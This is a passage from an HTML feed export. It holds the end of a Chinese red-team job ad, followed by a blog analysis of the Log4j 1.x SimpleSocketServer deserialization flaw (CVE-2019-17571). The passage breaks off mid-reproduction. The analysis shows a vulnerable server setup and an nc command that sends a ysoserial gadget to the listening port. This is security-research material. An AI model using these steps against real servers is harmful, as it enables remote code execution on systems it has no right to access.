&#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">base：上海、南京</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">薪资待遇：15-40k<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><br/><span style="box-sizing: border-box;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">工作内容：<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">1、参与公司红队评估、护网项目</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">2、研究最新漏洞和技术<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">3、对安服人员进行技术赋能<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><br/><span style="box-sizing: border-box;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">任职要求:</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">1、熟练掌握各种渗透测试技巧、熟练运用各类安全工具</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">2、具有丰富的实战经验可独立完成红队工作</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">3、至少熟悉一种语言（java/python/c/c++/c#/golang/rust等），能编写渗透工具或exp，具有代码审计能力者佳</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">4.对安全有浓厚的兴趣，有较强的钻研能力，有良好的团队精神<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><br/><span style="box-sizing: border-box;"></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">加分项：<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">1、拥有大型企业内外网渗透经验或大型HW攻击方经验，对APT有深入研究或实践经验</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">2、开发过安全工具、平台</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">3、发布过高质量原创文章</span><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">4、在各大SRC平台有较好的排名</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;">        请给我一个与您并肩作战的机会，简历投递备注来自零队公众号，邮箱：</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;">wenyue.wang@qingteng.cn</span></p><p style="text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 15px;margin: 1.5em 8px;letter-spacing: 0.1em;"><br/></p>



<p><a href="2247484793">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=36a788a5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484793%26idx%3D1%26sn%3D7fe81d74d8ff8ab0cd8e791c6204c5d7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Nov 2021 16:40:00 +0800</pubDate>
    </item>
    <item>
      <title>log4j反序列化漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484781&amp;idx=1&amp;sn=64433268892b2fc0c6a240ed7b6a91ef</link>
      <description>0x00 前言前段时间在看某个cms代码的时候，发现log4j组件版本存在漏洞，并且开启了端口，但web站点</description>
      <content:encoded><![CDATA[<p>
原创 <span>奶思</span> <span>2021-03-14 06:00</span> <span style="display: inline-block;"></span>
</p>

<p>0x00 前言前段时间在看某个cms代码的时候，发现log4j组件版本存在漏洞，并且开启了端口，但web站点</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c50fb423&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvfdvaAb7uDyhUQ5L3vKcar22EibNxBDmIO13oR55Iwhr8hTNPibBQw5JLybaic9WJQUtsWMztc5KhZkw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x00 前言</span></h2><p cid="n4" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">前段时间在看某个cms代码的时候，发现log4j组件版本存在漏洞，并且开启了端口，但web站点是nginx反向代理的，而在外网并没有开放到该端口，所以并没有利用成功。但该漏洞遇到的比较少，就算一些cms中log4j组件版本存在漏洞，该漏洞需要使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SimpleSocketServer</code></span><span md-inline="plain" style="box-sizing: border-box;">开启端口才能够接受socket中的数据进行反序列化操作，从而才能利用。</span></p><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n6" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x01 log4j 漏洞简介</span></h2><h3 cid="n7" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞简介</span></h3><p cid="n8" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">log4j用的其实还是比较多，记录一些Java的日志，这个相信接触过Java的都知道，在此不做多的赘诉。</span></p><p cid="n9" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">漏洞版本：CVE-2019-17571</strong></span></p><pre spellcheck="false" lang="" cid="n10" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">1.2.4 &lt;= Apache Log4j &lt;= 1.2.17</span></pre><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞原因是因为调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SimpleSocketServer.main</code></span><span md-inline="plain" style="box-sizing: border-box;">开启一个端口，进行接受数据，进行反序列化操作。</span></p><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">根据官方描述作用是把接受到的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">LoggingEvent</code></span><span md-inline="plain" style="box-sizing: border-box;">作为本地的日志记录事件，再使用在服务器端配置的Log4J环境来记录日志。默认可能会开启在4560端口中。</span></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p><h2 cid="n15" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">0x02 log4j 反序列化分析</span></h2><h3 cid="n16" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">漏洞复现</span></h3><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">配置漏洞代码</span></p><pre spellcheck="false" lang="java" cid="n18" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">import</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">org</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">apache</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">log4j</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">net</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">SimpleSocketServer</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">class</span> <span style="box-sizing: border-box;color: rgb(0, 0, 255);">log4j</span> {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">public</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">static</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">void</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">main</span>(<span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">args</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">System</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">out</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">println</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;INFO: Log4j Listening on port 1234&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 136, 85);">String</span>[] <span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> {<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;1234&#34;</span>, (<span style="box-sizing: border-box;color: rgb(119, 0, 136);">new</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">log4j</span>()).<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getClass</span>().<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getClassLoader</span>().<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getResource</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;log4j.properties&#34;</span>).<span style="box-sizing: border-box;color: rgb(0, 0, 0);">getPath</span>()};</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SimpleSocketServer</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">main</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">arguments</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">System</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">out</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">println</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;INFO: Log4j output successfuly.&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">配置log4j文件</span></p><pre spellcheck="false" lang="" cid="n20" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">log4j.rootCategory=DEBUG,stdout</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">log4j.appender.stdout=org.apache.log4j.ConsoleAppender</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">log4j.appender.stdout.layout=org.apache.log4j.PatternLayout</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">log4j.appender.stdout.threshold=DEBUG</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n</span></pre><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">然后使用yso生成gadget的序列化数据，直接使用nc进行发送。但是nc发送传输有时候会有些问题，有时候传输数据缺失，会反序列化失败。</span></p><pre spellcheck="false" lang="" cid="n22" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">nc 127.0.0.1 1234 &lt; log4j.curl.bin</span></pre><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.524247491638796" data-s="300,640" style="" data-type="png" data-w="1196" 